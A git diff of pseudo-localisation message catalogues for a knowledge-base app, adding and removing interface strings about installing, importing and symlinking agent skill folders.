@@ -2996,6 +3267,11 @@
"ri6zS-": ["Ţĥē śćĥēḿà ƒĩĺē ďōēś ńōţ ēxĩśţ ōŕ ƒàĩĺēď ţō ĺōàď — àďďĩńĝ à ƒĩēĺď ćŕēàţēś ĩţ."],
"riqekz": ["Śũĝĝēśţĩōń ḿēńũ ńàvĩĝàţĩōń"],
"rlUzXK": ["Ćōũĺď ńōţ vàĺĩďàţē ƒōĺďēŕ. Ƥĺēàśē ţŕŷ àĝàĩń."],
+ "rmorj0": [
+ "Ţĥĩś ĩś à ƥŕēvĩēŵ ōƒ ",
+ ["boldName"],
+ " — à ƀũĩĺţ-ĩń śķĩĺĺ śĥĩƥƥēď ŵĩţĥ Ōƥēń Ķńōŵĺēďĝē. Ĩţ'ś ŕēàď-ōńĺŷ."
+ ],
"rn7n0G": ["Ŕēśũḿē śŷńć"],
"rnX-1S": ["Ēńàƀĺē ƥĺũĝĩńś"],
"roAe2K": ["Ĺĩńķ ŨŔĹ"],
@@ -3004,13 +3280,18 @@
"rscgd_": ["Ĝō ţō ţĥĩś ćōḿḿēńţ ĩń ", ["0"]],
"rssK8c": ["Ĩĝńōŕē ƥàţţēŕńś (ŕàŵ ţēxţ)"],
"rtdR4v": ["Śĥōŵ ōŕ ĥĩďē Ƒĩĺēś"],
+ "rucNcu": [
+ "Śàvēď ĩńţō ţĥĩś ƥŕōĴēćţ'ś śķĩĺĺś ƒōĺďēŕ (ē.ĝ. <0>.àĝēńţś/śķĩĺĺś</0>), vēŕśĩōńēď àĺōńĝśĩďē ŷōũŕ ƥŕōĴēćţ."
+ ],
"rwrPbS": ["Ćōḿƥōńēńţ ƀōũńďàŕŷ ńàvĩĝàţĩōń"],
"rxWGWX": ["Ƒōŕŵàŕď"],
"s-MGs7": ["Ŕēśōũŕćēś"],
"s-XOaI": ["Ƒĩĺē ńàḿē"],
+ "s-pW_v": ["Ćōũĺďń'ţ ĩńśţàĺĺ: ", ["0"]],
"s0-xF4": ["Ţēĺĺ ũś ĥōŵ ĩţ'ś ĝōĩńĝ"],
"s061i4": ["Ŕēĺàţĩvē ƥàţĥ"],
"s0IDhW": ["Ţĥĩś ƒĩĺē ćōũĺď ńōţ ƀē ƒōũńď."],
+ "s0Iold": ["Ēďĩţēď ĺōćàĺĺŷ śĩńćē ĩţ ŵàś ĩńśţàĺĺēď"],
"s0J_k9": [["0", "plural", { "one": ["#", " ķēŷ"], "other": ["#", " ķēŷś"] }]],
"s0_GnA": ["Ōƥēńĩńĝ ", ["openingLabel"], "…"],
"s1c0ja": ["ßũĺĺēţ Ĺĩśţ"],
@@ -3023,13 +3304,15 @@
],
"sER-bs": ["Ƒĩĺēś"],
"sFhaTJ": ["Ďĩśàḿƀĩĝũàţēś śĩḿĩĺàŕĺŷ-ńàḿēď ţēḿƥĺàţēś ĩń ţĥē ḿēńũ."],
- "sHrqDx": ["Ćōũĺďń'ţ ŕēńàḿē śķĩĺĺ: ", ["0"]],
"sICrVf": ["Ŕēśţōŕēď ţō ţĥē vēŕśĩōń ƒŕōḿ ", ["0"]],
"sIGbBZ": ["Ćōńvēŕţ śēĺēćţĩōń ţō ƒōōţńōţē"],
"sIxSSP": ["Ŕēśōĺvē ćōńƒĺĩćţ ĩń ŷōũŕ ţēŕḿĩńàĺ"],
"sJK6pq": ["Ƥēŕḿĩśśĩōń ďēńĩēď"],
"sJWhgo": ["Ũńķńōŵń ćōḿƥōńēńţ: ", ["unregisteredComponentName"]],
"sKEgGd": ["Śēńď ţō ćĥàţ"],
+ "sLcbHt": [
+ "Śŷḿĺĩńķ àńōţĥēŕ ƒōĺďēŕ ĩńţō ōńē ōƒ ţĥēśē śō ƀōţĥ àĝēńţś ŕēàď ţĥē śàḿē śķĩĺĺś; ũńĺĩńķ ţō ḿàńàĝē à ƒōĺďēŕ'ś śķĩĺĺś ōńē ƀŷ ōńē àĝàĩń."
+ ],
"sNeKjP": ["Ƒàĩĺēď ţō śţōŕē ţĥē ţōķēń — ţŕŷ àĝàĩń"],
"sOxZaS": ["Ƒàĩĺēď ţō ĺōàď ĝŕàƥĥ"],
"sZ2IOu": [
@@ -3057,6 +3340,11 @@
" · ćŕàśĥ ďũḿƥ ńōţ ŕēďàćţēď"
],
"snrVQ7": ["ƥŕōƀē ƒàĩĺēď"],
+ "ssk6rl": [
+ "Ţĥē śķĩĺĺ'ś ōŵń ƒōĺďēŕ (",
+ ["path"],
+ ") — ţĥē śōũŕćē ōţĥēŕ ĺōćàţĩōńś ćōƥŷ ōŕ ĺĩńķ ƒŕōḿ"
+ ],
"ssuwjF": ["ßŕàńćĥ"],
"stlgky": [
"Ōń — ŷōũŕ śēàŕćĥ ǫũēŕĩēś àńď ţĥē ţēxţ ōƒ ḿàţćĥĩńĝ ƥàĝēś àŕē śēńţ ţō ŷōũŕ ēḿƀēďďĩńĝś ƥŕōvĩďēŕ (ŌƥēńÀĨ ƀŷ ďēƒàũĺţ) ţō ćōḿƥũţē ēḿƀēďďĩńĝś."
@@ -3066,10 +3354,10 @@
"sxjyRq": ["Ŵōŕķţŕēēś"],
"sxkWRg": ["Àďvàńćēď"],
"syi2ye": [["percent"], "% ũśēď (", ["left"], "% ĺēƒţ)"],
+ "szy9BS": ["Ũśē ĺōŵēŕćàśē ĺēţţēŕś, ńũḿƀēŕś, àńď ĥŷƥĥēńś ōńĺŷ"],
"t-JXbf": ["Ńōţĩōń-śţŷĺē ĩńĺĩńē ŕōŵ ƒōŕ à ďōŵńĺōàďàƀĺē ƒĩĺē. Ďŕàĝ-ďŕōƥ àĺśō ŵōŕķś."],
"t18QYR": ["Ũńƥĩń ", ["accessibleLabel"]],
"t2TkQ3": ["Śŷńć ƥàũśēď — ŕēśōĺvē ćōńƒĺĩćţś ţō ŕēśũḿē."],
- "t422_7": ["Ũńĩńśţàĺĺ ēvēŕŷŵĥēŕē"],
"t4sFKC": [
"Ńēŵ ƀŕàńćĥ <0>",
["trimmed"],
@@ -3077,6 +3365,8 @@
],
"t6w1cq": ["Ōƥēń à ƀĺàńķ ēďĩţōŕ ţàƀ."],
"t9Qn8y": ["Ńō àĝēńţś ēńàƀĺēď"],
+ "tA0b9E": ["ţĥē ďēƒàũĺţ śķĩĺĺś ƒōĺďēŕ (ţĥē ēxàćţ ƥàţĥ àƥƥēàŕś ōńćē śàvēď)"],
+ "tA2-xC": ["\"", ["0"], "\" ŵàś àĺŕēàďŷ àďďēď (ĩďēńţĩćàĺ ćōńţēńţ)."],
"tAPZEx": ["ßēĺōŵ"],
"tHKQ6j": ["Ŕēńàḿĩńĝ"],
"tKlWWY": ["ĒḿōĴĩ"],
@@ -3084,6 +3374,7 @@
"tP5DDk": ["Àƥƥĺŷ ĺĩńķ"],
"tUvUfp": ["Ũśē à ƒōĺďēŕ ŷōũ àĺŕēàďŷ ĥàvē."],
"t_YqKh": ["Ŕēḿōvē"],
+ "tc65fD": ["Ḿōśţ ĩńśţàĺĺēď"],
"tcjTlU": ["Śţàŕţēŕ ƥàćķś"],
"teD0H9": ["Ćōũĺďń'ţ ōƥēń à ŵōŕķţŕēē ƒōŕ ţĥàţ ƀŕàńćĥ."],
"teFjfG": ["Ńō àĝēńţ ĩś śēţ ũƥ ŷēţ — ƥĩćķ ōńē ƒŕōḿ ţĥē śēńď ḿēńũ."],
@@ -3094,10 +3385,19 @@
"tgWuMB": ["Ḿōďĩƒĩēď"],
"thnPBX": ["Àćţĩvàţē ţĥē ńēxţ ēďĩţōŕ ţàƀ."],
"ti6aF_": ["Àśķ ", ["0"], " ĆĹĨ"],
+ "tiFPjk": ["śōũŕćē"],
"tiWX6q": ["Śōũŕćē ēďĩţōŕ"],
"tjXez2": ["ƀĺōĝ-ƥōśţ"],
+ "tkIXtS": [
+ "Ĩńśţàĺĺēď ",
+ ["imported"],
+ " śķĩĺĺś (",
+ ["alreadyImported"],
+ " ŵēŕē àĺŕēàďŷ ƥŕēśēńţ)"
+ ],
"tnG-m6": ["Àũţō-śŷńć ĩś ƥàũśēď — śĩĝń ĩń ţō ŕēśũḿē."],
"toyw51": ["Ḿēŕḿàĩď ďĩàĝŕàḿ ćōńţŕōĺś"],
+ "tqQBwN": ["Àńŷ śćŕĩƥţś àŕē śĥōŵń ƒōŕ ŕēvĩēŵ, ńēvēŕ ŕũń."],
"tsiTqO": ["Ƥàśţē ŷōũŕ ÀƤĨ ķēŷ"],
"tsyExA": ["Ćōńńēćţ ŷōũŕ ÀĨ ţōōĺś ţō ŌƥēńĶńōŵĺēďĝē"],
"tzGWeg": ["Ƥŕēƥàŕĩńĝ ţō ũńĩńśţàĺĺ ŌƥēńĶńōŵĺēďĝē"],
@@ -3119,12 +3419,10 @@
"Ďōćũḿēńţ ţĥē àŕćĥĩţēćţũŕē ōƒ ţĥĩś ŕēƥō: ćŕēàţē àń ōvēŕvĩēŵ ƥàĝē ţĥàţ ĺĩńķś ţō à ƥàĝē ƥēŕ ḿàĴōŕ ḿōďũĺē ďēśćŕĩƀĩńĝ ĩţś ŕēśƥōńśĩƀĩĺĩţĩēś àńď ēńţŕŷ ƥōĩńţś."
],
"uF9ruK": ["Śàvĩńĝ"],
- "uFOL2y": [
- "Ńō ƥŕōĴēćţ śķĩĺĺś ŷēţ. Àũţĥōŕ ōńē ţō ţēàćĥ àĝēńţś à ŕēƥēàţàƀĺē ţàśķ śćōƥēď ţō ţĥĩś ķńōŵĺēďĝē ƀàśē."
- ],
"uFQbYd": ["Ĥōḿē ƥàĝē àńď ēńţŕŷ ƥōĩńţ."],
"uGaIIS": ["Ćĥēćķ ōũţ ŵōŕķţŕēē"],
"uH_S-u": [["loadErrorTitle"], ": ", ["message"]],
+ "uJfwF8": ["Àĺŕēàďŷ ĩńśţàĺĺēď — ńōţĥĩńĝ ńēŵ ţō ĩḿƥōŕţ."],
"uKRYiW": ["Śŷńć śţàţũś ũńàvàĩĺàƀĺē — śēŕvēŕ ēŕŕōŕ."],
"uL_Wx8": ["Ţĥē ţēŕḿĩńàĺ śţōƥƥēď ũńēxƥēćţēďĺŷ."],
"uM6jnS": ["Ŕēśţōŕē ƒàĩĺēď"],
@@ -3135,6 +3433,7 @@
"Ćōũĺďń'ţ ŕēśţàŕţ ţĥē śēŕvēŕ — ĩţ'ś ŕũńńĩńĝ ũńďēŕ à ďĩƒƒēŕēńţ àććōũńţ. Ŕēśţàŕţ ŷōũŕ ćōḿƥũţēŕ ţō ćĺēàŕ ĩţ, ţĥēń ŕēōƥēń ţĥĩś ƥŕōĴēćţ."
],
"uR2YT3": ["Śĥōŵ ƥŕōƀĺēḿ ĩńďĩćàţōŕś"],
+ "uUCrBv": ["śŷḿĺĩńķ"],
"uUiiyC": [
"Ŷōũ ďōń'ţ ĥàvē ƥēŕḿĩśśĩōń ţō ƥũśĥ ţō ţĥĩś ŕēƥō. Ƒōĺĺōŵ ćàń śţĩĺĺ ķēēƥ ŷōũŕ ćōƥŷ ũƥ ţō ďàţē."
],
@@ -3146,6 +3445,10 @@
"uaUc6t": ["Ŕēśţàŕţ śēŕvēŕ"],
"ubMwcO": ["Ţĥē ţēŕḿĩńàĺ śēśśĩōń ēńďēď (śĩĝńàĺ ", ["0"], ")."],
"ucXZ0k": ["Ĺōàďĩńĝ àĝēńţś…"],
+ "ugQcJX": [
+ ["display"],
+ " ĩś àń ĩńďēƥēńďēńţ ćōƥŷ ŵĥĩĺē ţĥē śķĩĺĺ'ś ōţĥēŕ ĺōćàţĩōńś àŕē śŷḿĺĩńķś. Ćĺĩćķ ţō ḿàķē ĩţ à śŷḿĺĩńķ ţō ţĥē śōũŕćē."
+ ],
"ugoTXs": ["ƒōĺďēŕ"],
"uhJEA2": [
[
@@ -3173,12 +3476,12 @@
]
],
"v77jrg": ["Vĩśũàĺ ēďĩţōŕ śēĺēćţĩōń"],
- "v7hK0U": ["Ũśē ĺōŵēŕćàśē ĺēţţēŕś, ďĩĝĩţś, àńď ĥŷƥĥēńś ōńĺŷ."],
"v7lbnC": ["Ƒĩńď ńēxţ ḿàţćĥ"],
"vAYoCZ": ["Ćōũĺďń'ţ ōƥēń ţĥē ŵōŕķţŕēē. Ţŕŷ àĝàĩń."],
"vDXqVv": ["Ĩńśēŕţ à ḿàŕķďōŵń ĥàŕď ƀŕēàķ."],
"vEJDlt": ["Ţĥē ƒĩĺē ĩś ĩń ŷōũŕ Ţŕàśĥ; ţĥē ƒĩĺē-ŵàţćĥēŕ ŵĩĺĺ ŕēćōńćĩĺē."],
"vF68cg": ["Ƒĩēĺďś"],
+ "vGQxBT": ["Ũƥďàţēś ƒŕōḿ ţĥē śōũŕćē àƥƥĺŷ àũţōḿàţĩćàĺĺŷ (ũńĺēśś ēďĩţēď ĺōćàĺĺŷ)"],
"vGeNNQ": ["Ćōƥŷ à ƥŕōḿƥţ àńď ƥàśţē ĩţ ĩńţō ŷōũŕ àĝēńţ ţō śēţ ũƥ ŷōũŕ ƥŕōĴēćţ."],
"vIxrEk": ["Ƒĩţ ŵĩďţĥ"],
"vLyv1R": ["Ĥĩďē"],
@@ -3208,6 +3511,7 @@
["copyShortcut"],
"</0> ţō ćōƥŷ ţĥē ĺĩńķ ƀēĺōŵ, ōŕ ōƥēń ŌĶ ĩń ţĥē ďēśķţōƥ àƥƥ."
],
+ "vjW-SM": ["Śàvēď ĩńţō ŷōũŕ ĝĺōƀàĺ śķĩĺĺś ƒōĺďēŕ (ē.ĝ. <0>~/.àĝēńţś/śķĩĺĺś</0>)."],
"vja0Dg": ["Ōƥēń śēśśĩōń ďōćķ"],
"vjwsDi": [
[
@@ -3222,6 +3526,7 @@
"vppAju": ["Ŵĥēŕē ńēŵĺŷ àďďēď àţţàćĥḿēńţś àŕē ƥĺàćēď."],
"vv7kpg": ["Ćàńćēĺĺēď"],
"vvWZnu": ["Ďĩƒƒ ũńàvàĩĺàƀĺē"],
+ "vy_VIN": ["Ţŕàćķēď ĩń ĝĩţ — ũƥďàţēś ƒĺōŵ ţĥŕōũĝĥ ŷōũŕ ŕēƥō (ƥũĺĺ ōŕ ĆĨ), ńōţ àũţō-ũƥďàţē"],
"w3tVpc": ["Ńō ĺĩńķś ŷēţ. Àďď ŵĩķĩ ĺĩńķś ōŕ ḿàŕķďōŵń ĺĩńķś ţō ƀũĩĺď à ĝŕàƥĥ."],
"w3vFfL": ["Ĥĩďē Ƒĩĺēś"],
"w4ZzmQ": ["Ćōũĺďń'ţ ŕēàćĥ ţĥē ēḿƀēďďĩńĝś ƥŕōvĩďēŕ — ŕēţŕŷ"],
@@ -3232,13 +3537,16 @@
"w6sBjd": ["Ţēŕḿĩńàĺ śēţţĩńĝś ńōţ ŷēţ ĺōàďēď — ţŕŷ àĝàĩń ĩń à ḿōḿēńţ"],
"w6sT-y": ["Ƒōĺĺōŵ ţĥē àĝēńţ'ś ēďĩţś"],
"w7SsvI": ["Ţĥàţ ƒōĺďēŕ ĩśń'ţ àń ŌƥēńĶńōŵĺēďĝē ƥŕōĴēćţ ŷēţ. Ĩńĩţĩàĺĩźē ĩţ àńď ōƥēń?"],
+ "w7bnEb": ["Ćŕēàţē à ƥēŕśōńàĺ śķĩĺĺ, àvàĩĺàƀĺē àćŕōśś ēvēŕŷ ƥŕōĴēćţ."],
"w7nm4K": ["Ĩńďēńţēď ƀĺōćķǫũōţē ƒōŕ ćĩţàţĩōńś."],
"wDgmsr": ["\"", ["0"], "\" ĩńśţàĺĺ ŕēƒŕēśĥēď (", ["1"], ")"],
+ "wErce0": ["Ćĥōōśē à śķĩĺĺ àŕćĥĩvē"],
"wF2wqQ": ["Ũńķńōŵń ďàţē"],
"wGSHzy": ["Àćţĩvàţē ōńē ōƒ ţĥē ƒĩŕśţ ēĩĝĥţ ēďĩţōŕ ţàƀś."],
"wJijgU": ["Ĺōćàţĩōń"],
"wJo9oS": ["Ćĺōśē ƒĩńď"],
"wQp1V3": ["Ḿĩŕŕōŕ ōƒ <0>", ["src"], "</0>"],
+ "wQvvZY": ["Ńēŵ śķĩĺĺ ƒĩĺē"],
"wT4iQr": ["Ōƥēń vĩśũàĺ-ēďĩţōŕ ƒĩńď ŵĩţĥ ŕēƥĺàćē ćōńţŕōĺś ēxƥàńďēď."],
"wTcjov": ["Ńō ŵōŕķśƥàćē"],
"wU8WyK": ["Ēĺēḿēńţ ƒĩēĺďś"],
@@ -3250,18 +3558,15 @@
"\" ƒŕōḿ ŕēćēńţ ƥŕōĴēćţś. Ĩţś ƒōĺďēŕ ńō ĺōńĝēŕ ēxĩśţś."
],
"w_Sphq": ["Àţţàćĥḿēńţś"],
- "waFx9W": ["Ḿàńàĝēď"],
"wbv9xO": ["Ćŕēàţē ńēŵ ƥŕōĴēćţ"],
"wcfO9r": ["Ńō ƀũĝ ŕēƥōŕţś ŷēţ."],
"wdxz7K": ["Śōũŕćē"],
"weP6me": ["Ćōũĺďń'ţ ĺōàď ďōćś — ţŷƥē @ àĝàĩń ţō ŕēţŕŷ"],
+ "wefL17": [["source"], " ƥũƀĺĩśĥēś ", ["count"], " śķĩĺĺś. Ĩńśţàĺĺ àńŷ ōƒ ţĥēḿ ţōĝēţĥēŕ."],
"wgNoIs": ["Śēĺēćţ àĺĺ"],
"wlwXUk": [
"Ŷōũ ƥĩćķēď ~/Ďōŵńĺōàďś. Ƒĩĺēś ţĥēŕē àŕē ũśũàĺĺŷ ţŕàńśĩēńţ — ćōńśĩďēŕ à śţàƀĺē ƒōĺďēŕ ĩńśţēàď."
],
- "wn8EJi": [
- "Śķĩĺĺś ţēàćĥ àĝēńţś ŕēƥēàţàƀĺē ţàśķś. Àũţĥōŕ ţĥēḿ ĥēŕē; ĩńśţàĺĺ à śķĩĺĺ ţō ƥŕōĴēćţ ĩţ ĩńţō ŷōũŕ ēďĩţōŕś' śķĩĺĺ ƒōĺďēŕś."
- ],
"wndeIl": ["ƤŕōĴēćţ-ĺēvēĺ ƥàĝēś ŵĩţĥ ńēĩţĥēŕ ĩńćōḿĩńĝ ńōŕ ōũţĝōĩńĝ ĝŕàƥĥ ēďĝēś."],
"ws5o1F": ["Ćĥēćķēď ƀŷ: ", ["0"]],
"wtcxiD": ["Śĥàŕē ţĥĩś śēţũƥ ŵĩţĥ ŷōũŕ ţēàḿ?"],
@@ -3270,7 +3575,6 @@
"wzq9Rv": [
"À ƀŕàńćĥ ŵĩţĥ ţĥàţ ńàḿē àĺŕēàďŷ ēxĩśţś. Ōƥēń ĩţś ŵōŕķţŕēē ƒŕōḿ ţĥē śŵĩţćĥēŕ ĩńśţēàď."
],
- "x-5mJ1": ["Ĩńśţàĺĺ ōń àĺĺ"],
"x2fr_j": ["Ĝŕàƥĥ"],
"x3-2ta": [
["packName"],
@@ -3283,6 +3587,7 @@
"Śēḿàńţĩć śēàŕćĥ ĩś ōń, ƀũţ ńō ÀƤĨ ķēŷ ĩś śēţ — śēàŕćĥ ƒàĺĺś ƀàćķ ţō ķēŷŵōŕď ḿàţćĥĩńĝ. Àďď ōńē ƀēĺōŵ."
],
"x57cJf": ["Ōƥēń ĺĩńķ"],
+ "xBFg6z": ["Ƒŕōḿ ţĥē ", ["0"], " ƥĺũĝĩń"],
"xCJdfg": ["Ćĺēàŕ"],
"xCdTnb": ["Ćĺōśē ńēŵ ţàƀ"],
"xDBki3": ["Ĥēàďĩńĝ śũĝĝēśţĩōńś"],
@@ -3299,6 +3604,7 @@
"xSVO3J": ["Ŵĥàţ ĝēţś ćŕēàţēď"],
"xV5sXw": [["0"], "ŵ àĝō"],
"xWEvuo": ["Àśķ ÀĨ"],
+ "xWomUD": ["Ũśē ", ["editor"], " vēŕśĩōń"],
"xXo8FT": ["Śàvē ƒàĩĺēď: ", ["error"]],
"xYMPyY": [
"Ƥàśţē ŵàś ĩńćōḿƥĺēţē — ",
@@ -3318,10 +3624,10 @@
"xiv-dW": ["Ńō ƒĩĺēś ŷēţ."],
"xlQpTE": ["Ḿōŕē ŕēƒũśàĺ ōƥţĩōńś"],
"xloBjn": ["Ŕēĺàţĩvē Ƥàţĥ"],
- "xnP32l": ["Ńō ďēśćŕĩƥţĩōń ŷēţ — àďď ōńē śō àĝēńţś ķńōŵ ŵĥēń ţō ũśē ţĥĩś śķĩĺĺ."],
"xo6PEb": ["Ćĥōōśē ŵĥēŕē ţō śēńď ţĥē ǫũēũē"],
"xrVr_k": ["Ćōũĺďń'ţ ćŕēàţē śķĩĺĺ: ", ["0"]],
"xsZhu-": ["Ƥàĝē ńũḿƀēŕ"],
+ "xtJgSe": ["Ţĥĩś śōũŕćē ƀũńďĺēś śēvēŕàĺ śķĩĺĺś — ćĥōōśē ţĥē ōńē ţō ĩḿƥōŕţ."],
"xzAmL_": ["Àũţō-àƥƥŕōvēď"],
"xzktOa": ["Ēďĩţ ŵĩķĩ ĺĩńķ"],
"y1t8bQ": ["Śēţţĩńĝś śēćţĩōńś"],
@@ -3348,9 +3654,13 @@
],
"yHikCO": ["Ōƥēń ĆōďēḾĩŕŕōŕ'ś ĝō-ţō-ĺĩńē ƥŕōḿƥţ."],
"yIPXut": ["Ƥŕēƥàŕĩńĝ śēàŕćĥ"],
+ "yK1m_z": [["0", "plural", { "one": ["Śķĩĺĺ"], "other": ["Śķĩĺĺś"] }]],
"yKu_3Y": ["Ŕēśţōŕē"],
"yLEyuq": ["Ƥŕōďũćţ ũƥďàţēś ĩń ŷōũŕ ĩńƀōx."],
"yLq4w4": ["Śēƥàŕàţōŕ"],
+ "yLwx9e": [
+ "À ƥàŕēńţ ďĩŕēćţōŕŷ ĩś ţĥē śŷḿĺĩńķ — ũńĺĩńķ ţĥàţ ƒōĺďēŕ ĩţśēĺƒ ţō ţàķē ţĥĩś ōńē ƀàćķ."
+ ],
"yMgL_E": ["Ƒĩńď ƒĩēĺď ńàvĩĝàţĩōń"],
"yQE2r9": ["Ĺōàďĩńĝ"],
"yQyglE": ["Ńō ḿàţćĥĩńĝ ďōćś"],
@@ -3365,7 +3675,9 @@
"y_5CE8": ["Ĩţēḿ ", ["0"]],
"y_K0Dz": ["Ŵĥàţ ĥàƥƥēńēď?"],
"yaPGPa": ["Ōƥēń à ƥŕōĴēćţ ţō ḿàńàĝē ĩţś ÀĨ ţōōĺ ćōńńēćţĩōńś."],
+ "ybWWR2": ["Śŷḿĺĩńķś ţĥē śķĩĺĺ ţō ", ["0"]],
"ycIX5i": ["Ŷōũ'ŕē śĩĝńēď ōũţ — śĩĝń ĩń ţō ŕēśũḿē śŷńćĩńĝ."],
+ "yckias": ["Ŕēńàḿē ƒĩĺē"],
"ydzS9x": ["Ēxĩţ"],
"yf5auF": ["Śēàŕćĥ ŕũĺēś ƀŷ ĩď, àĺĩàś, ōŕ ńàḿē"],
"yf5r22": [
@@ -3375,10 +3687,11 @@
" (ĩńĥēŕĩţēď ƒŕōḿ ƒōĺďēŕ ƥŕōƥēŕţĩēś; ńōţ ēďĩţàƀĺē ĥēŕē)"
],
"ygCKqB": ["Śţōƥ"],
+ "yg_6wQ": ["Śēàŕćĥ ƒàĩĺēď. Ţŕŷ àĝàĩń."],
+ "yhI6P0": ["Ḿōvēď \"", ["0"], "\" ţō ", ["1"]],
"yhdqox": [
"Ĩńśţàĺĺēď — ōķ ĩś àvàĩĺàƀĺē ĩń ēxţēŕńàĺ ţēŕḿĩńàĺś. Ũńćĥēćķĩńĝ ŕēḿōvēś ĩţ; ŌƥēńĶńōŵĺēďĝē'ś ƀũĩĺţ-ĩń ţēŕḿĩńàĺ àńď ÀĨ ţōōĺś ķēēƥ ŵōŕķĩńĝ."
],
- "yitgD9": ["Ƒàĩĺēď ţō ĺōàď śķĩĺĺ ţàŕĝēţś: ", ["0"]],
"yjExfe": ["ßŕàńćĥ <0>", ["shareBranch"], "</0> ĩś ćĥēćķēď ōũţ ĩń:"],
"ylXj1N": ["Śēĺēćţēď"],
"ymWJLd": ["Śĥōŵ ", ["0"], " ḿōŕē"],
@@ -3437,6 +3750,7 @@
["date"],
"}</1> ƒĩĺĺś ĩń ōń ćŕēàţē."
],
+ "zt9ZgM": ["Ţĥĩś ŕēƥō ƀũńďĺēś ", ["count"], " śķĩĺĺś. Ĩńśţàĺĺ àńŷ ōƒ ţĥēḿ ƒŕōḿ ţĥē ƥĺũĝĩń."],
"ztKII6": ["Ƒàĩĺēď ţō àďď ĩţēḿ"],
"zvjCD4": ["Ďēţàĩĺēď ďĩàĝńōśţĩćś"],
"zwBp5t": ["Ƥŕĩvàţē"],
diff --git a/packages/app/src/locales/pseudo/messages.po b/packages/app/src/locales/pseudo/messages.po
index 6a3d03ec9..7e36cdc5e 100644
--- a/packages/app/src/locales/pseudo/messages.po
+++ b/packages/app/src/locales/pseudo/messages.po
@@ -33,6 +33,10 @@ msgstr ""
msgid "… earlier output trimmed"
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid ".myteam/skills"
+msgstr ""
+
#: src/components/FileSidebar.tsx
msgid ".ok folders"
msgstr ""
@@ -51,9 +55,14 @@ msgstr ""
msgid "\"{0}\" install refreshed ({1})"
msgstr ""
-#. placeholder {0}: skill.name
-#: src/components/skill-actions.tsx
-msgid "\"{0}\" uninstalled — back to a draft"
+#. placeholder {0}: result.name
+#: src/lib/skill-import-toast.ts
+msgid "\"{0}\" was already added (identical content)."
+msgstr ""
+
+#. placeholder {0}: result.name
+#: src/lib/skill-import-toast.ts
+msgid "\"{0}\" was already imported (identical content)."
msgstr ""
#: src/components/DocumentErrorBoundary.tsx
@@ -64,6 +73,10 @@ msgstr ""
msgid "\"{docName}\" took too long. Check your connection."
msgstr ""
+#: src/hooks/use-skill-origin.ts
+msgid "\"{name}\" is already up to date"
+msgstr ""
+
#: src/components/FolderPropertiesCard.tsx
msgid "\"{trimmed}\" already exists here"
msgstr ""
@@ -78,6 +91,10 @@ msgstr ""
msgid "(a worktree of {0})"
msgstr ""
+#: src/components/SkillBundlePreview.tsx
+msgid "(binary file, not previewable)"
+msgstr ""
+
#: src/components/RecentProjectsMenu.tsx
msgid "(detached)"
msgstr ""
@@ -120,6 +137,10 @@ msgstr ""
msgid "(some may already be hidden by other rules)"
msgstr ""
+#: src/components/SkillProperties.tsx
+msgid "(symlink)"
+msgstr ""
+
#. Scope tag next to an AI tool — config is written at user level only
#: src/components/ConsentDialogBody.tsx
msgid "(user-level only)"
@@ -200,6 +221,11 @@ msgstr ""
msgid "{0, plural, one {No problems across # document.} other {No problems across # documents.}}"
msgstr ""
+#. placeholder {0}: skillRows.length
+#: src/components/CreatedItemsList.tsx
+msgid "{0, plural, one {Skill} other {Skills}}"
+msgstr ""
+
#. placeholder {0}: result.additions
#. placeholder {0}: stat.additions
#. placeholder {1}: result.deletions
@@ -249,6 +275,19 @@ msgstr ""
msgid "{0} of {1} projects selected"
msgstr ""
+#. placeholder {0}: selected.size
+#. placeholder {1}: names.length
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "{0} of {1} selected"
+msgstr ""
+
+#. placeholder {0}: hostLabel(h)
+#. placeholder {1}: hostLabel(h)
+#. placeholder {2}: skill?.name ?? ''
+#: src/components/SkillInstallMenu.tsx
+msgid "{0} reads this skill via {poolRootRel}. Click to stop {1} getting \"{2}\" — {subRoot} keeps its other skills but stops following {poolRootRel}."
+msgstr ""
+
#. placeholder {0}: templates.length
#: src/components/empty-state/CreateView.tsx
msgid "{0} templates available"
@@ -333,6 +372,11 @@ msgstr ""
msgid "{behind} behind origin"
msgstr ""
+#. placeholder {0}: pluginInfo.plugin
+#: src/components/SkillPreviewTab.tsx
+msgid "{boldName} is part of the <0>{0}</0> plugin{pluginVersion} — read-only. {boldHarness} replaces plugin files on update."
+msgstr ""
+
#: src/components/EditorFooter.tsx
msgid "{chars, plural, one {char} other {chars}}"
msgstr ""
@@ -377,6 +421,10 @@ msgstr ""
msgid "{count, plural, one {matches # file} other {matches # files}}"
msgstr ""
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "{count} skills at this source"
+msgstr ""
+
#: src/components/TimelinePanel.tsx
msgid "{days, plural, one {# day ago} other {# days ago}}"
msgstr ""
@@ -409,6 +457,18 @@ msgstr ""
msgid "{diffMin}m ago"
msgstr ""
+#: src/components/SkillsSidebarSection.tsx
+msgid "{dir} (symlink)"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "{display} is a symlink to the source while the skill's other locations are copies. Click to make it an independent copy."
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "{display} is an independent copy while the skill's other locations are symlinks. Click to make it a symlink to the source."
+msgstr ""
+
#: src/components/TerminalCliMissingBanner.tsx
msgid "{displayName} ({bin}) isn't installed or on your PATH."
msgstr ""
@@ -619,6 +679,10 @@ msgstr ""
msgid "{skillCount, plural, one {skill} other {skills}}"
msgstr ""
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "{source} publishes {count} skills. Install any of them together."
+msgstr ""
+
#: src/components/EnableSyncConfirmDialog.tsx
msgid "{strandedCommitCount, plural, one {You have 1 change you haven't shared. It will stay on this computer.} other {You have # changes you haven't shared. They will stay on this computer.}}"
msgstr ""
@@ -639,6 +703,15 @@ msgstr ""
msgid "{uploadedCount, plural, one {Uploaded one file} other {Uploaded {uploadedCount} files}}"
msgstr ""
+#. placeholder {0}: files.length
+#: src/components/ImportSkillForm.tsx
+msgid "{uploadFolderName} — {0} files"
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "{uploadFolderName} — 1 file"
+msgstr ""
+
#: src/components/acp/ThreadView.tsx
msgid "{usedLabel} / {sizeLabel} tokens used"
msgstr ""
@@ -716,6 +789,10 @@ msgstr ""
msgid "<0>ok</0> won't run in external terminals until you add it later from the File menu. OpenKnowledge's built-in terminal and AI tools keep working."
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "~/.myteam/skills"
+msgstr ""
+
